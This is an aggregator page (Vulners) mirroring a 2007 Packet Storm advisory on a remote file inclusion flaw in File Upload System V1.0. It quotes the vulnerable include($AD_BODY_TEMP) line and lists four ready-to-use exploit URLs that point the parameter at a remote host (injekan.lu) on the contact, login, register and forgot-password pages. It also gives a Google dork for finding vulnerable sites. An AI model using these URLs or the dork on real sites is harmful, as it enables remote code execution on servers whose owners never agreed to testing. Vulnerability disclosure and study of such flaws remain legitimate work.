Lucene search

fus-rfi.txt

🗓️ 27 Mar 2007 00:00:00Reported by IbnuSinaType

packetstorm🔗 packetstormsecurity.com👁 19 Views

File Upload System V1.0 file inclusion vulnerability discovered by IbnuSina & jipank. Exploit URLs for contact, login, register, and forgot password pages. Gugel dork for "Marsal Design Co.

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

`============================ HItamputih Crew ====================  
# hitamputih Advisory  
# Discovered By : IbnuSina & jipank  
#-----------------------------------------------------------  
# Software: File Upload System V1.0  
# Script Demo: http://demo.free-php-scripts.net/File_Upload  
# Method: file inclusion  
# Thanks To : akukasih,nyubi,irvian,BlueSpy,kurt_kabayan and all #hitamputih crew  
  
[[Exploitz]]---------------------------------------------------------  
  
?php include($AD_BODY_TEMP);?>  
  
exploit :  
  
http://target.com/[PATH]/contact.php?AD_BODY_TEMP=http://injekan.lu  
http://target.com/[PATH]/login.php?AD_BODY_TEMP=http://injekan.lu  
http://target.com/[PATH]/register.php?AD_BODY_TEMP=http://injekan.lu  
http://target.com/[PATH]/forgot_pass.php?AD_BODY_TEMP=http://injekan.lu  
  
gugel dork : intext:"Marsal Design Co."  
  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

27 Mar 2007 00:00Current

7.4High risk

Vulners AI Score7.4